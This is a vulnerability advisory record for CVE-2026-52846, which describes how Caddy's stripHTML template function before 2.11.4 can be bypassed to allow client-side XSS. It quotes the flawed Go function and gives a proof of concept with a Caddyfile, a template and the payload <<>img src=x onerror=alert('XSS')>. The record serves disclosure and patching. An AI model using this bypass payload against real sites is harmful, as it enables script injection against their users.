{"id":"CVE-2026-52846","aliases":["CVE-2026-52846","GHSA-vcc4-2c75-vc9v","GO-2026-5660"],"related":[],"kind":"vulnerability","state":"published","title":"Caddy: stripHTML template function bypass","summary":"Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely. This vulnerability is fixed in 2.11.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely. This vulnerability is fixed in 2.11.4.","source":"cvelist"},{"lang":"en","text":"### Summary\nCaddy’s `stripHTML` template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as `<<>img src=x onerror=alert()>`, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.\n\n---\n\n### Details\nThe vulnerability originates from `funcStripHTML` in:\n\n[caddy/caddy/caddyhttp/templates/tplcontext.go](https://github.com/caddyserver/caddy/blob/77e9ce7404c4a76853e101a9f5687a929ee56654/modules/caddyhttp/templates/tplcontext.go)\n\n```go\nfunc (TemplateContext) funcStripHTML(s string) string {\n    var buf bytes.Buffer\n    var inTag, inQuotes bool\n    var tagStart int\n    for i, ch := range s {\n        if inTag {\n            if ch == '>' && !inQuotes {\n                inTag = false\n            } else if ch == '<' && !inQuotes {\n                // false start\n                buf.WriteString(s[tagStart:i])\n                tagStart = i\n            } else if ch == '\"' {\n                inQuotes = !inQuotes\n            }\n            continue\n        }\n        if ch == '<' {\n            inTag = true\n            tagStart = i\n            continue\n        }\n        buf.WriteRune(ch)\n    }\n    if inTag {\n        // false start\n        buf.WriteString(s[tagStart:])\n    }\n    return buf.String()\n}\n```\n\n### POC\n\nCaddyfile setup\n\n```\n:8080 {\n    root * ./site\n    file_server\n    templates\n}\n```\n\nTemplate file (index.html)\n\n```html\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>StripHTML Bypass Test</title>\n</head>\n<body>\n    <p>{{ stripHTML \"<<>img src=x onerror=alert('XSS')>\" }}</p>\n</body>\n</html>\n```\n\nThe payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.\n\nTested in v2.11.3\n\n### Impact\n\nMalformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.\n\n### AI Disclosure\n\nAI assisted in writing the report description; however, the discovery of the issue has been done manually.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Caddy: stripHTML template function bypass in github.com/caddyserver/caddy","format":"markdown","source":"go"}],"published":"2026-06-16T21:28:55.000Z","modified":"2026-07-24T19:11:47.063Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","score":4.2,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","score":4.2,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","score":4.2,"rating":"MEDIUM"}],"cwes":["CWE-116"],"affected":[{"ranges":[{"version":"< 2.11.4","status":"affected"}],"vendor":"caddyserver","product":"caddy","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.11.4"}],"ecosystem":"Go","package":"github.com/caddyserver/caddy/v2","purl":"pkg:golang/github.com/caddyserver/caddy/v2","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"1.0.5"}],"ecosystem":"Go","package":"github.com/caddyserver/caddy","purl":"pkg:golang/github.com/caddyserver/caddy","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.11.4"}],"ecosystem":"Go","package":"github.com/caddyserver/caddy/v2","purl":"pkg:golang/github.com/caddyserver/caddy/v2","source":"go"},{"ranges":[{"status":"affected","fixed":"2.11.4"}],"vendor":"caddyserver","product":"caddy","cpe":"cpe:2.3:a:caddyserver:caddy:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-vcc4-2c75-vc9v","tags":["advisory","exploit","third-party-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/caddyserver/caddy","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-06-25T12:42:12.083Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-52846","url":"https://www.cve.org/CVERecord?id=CVE-2026-52846","licence":"CVE Terms of Use","modified":"2026-06-25T12:42:16.519Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-vcc4-2c75-vc9v","url":"https://github.com/advisories/GHSA-vcc4-2c75-vc9v","licence":"CC-BY-4.0","modified":"2026-07-24T19:11:47.063Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5660","url":"https://pkg.go.dev/vuln/GO-2026-5660","licence":"CC-BY-4.0","modified":"2026-07-24T19:00:25.441Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-52846","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52846","licence":"Public domain","modified":"2026-06-29T19:08:52.543Z"}],"updatedAt":"2026-11-25T22:59:25.503Z","epss":{"score":0.00189,"percentile":0.08894,"date":"2026-12-01T12:00:22.000Z"}}